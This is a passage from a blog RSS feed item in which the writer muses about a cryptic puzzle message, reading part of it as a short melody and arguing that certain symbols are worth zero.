<p>There was speculation initially that the 'Basse' 'misspelling' in the message meant the middle bit should be a song. Well using this translation we have a song! It can be read left to right (half note D, half note G, quarter note E, quarter note rest, F sharp), or top down (quarter note D, quarter note E, quarter note D, quarter note rest, quarter note G quarter note F, G sharp). Of course, in many circles (especially Close Encounters of the Third Kind, and Independence Day) music and lights are thought to be 'universal' languages to chat up aliens with. Hmm. Not saying that's the answer, but playing it is kind of catchy. </p>
<p>Going along with this assumption was the thought that 1 and A (and also 's') needed to be assigned values. I'd argue that they are assigned values as seen above. They're included in the chart 0 times, so they're all worth 0. And if you're as good with off by one errors as I am, that will get your hopes up for the 'initials' between the 'key' and the bottom.</p>
<p>Well, those are my thoughts on the assumptions that are being made so far. Hope it helps someone out there! </p>
]]></content:encoded>
			<wfw:commentRss>http://thesnarky.com/2008/05/20/little-crypto-never-killed-anyone/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
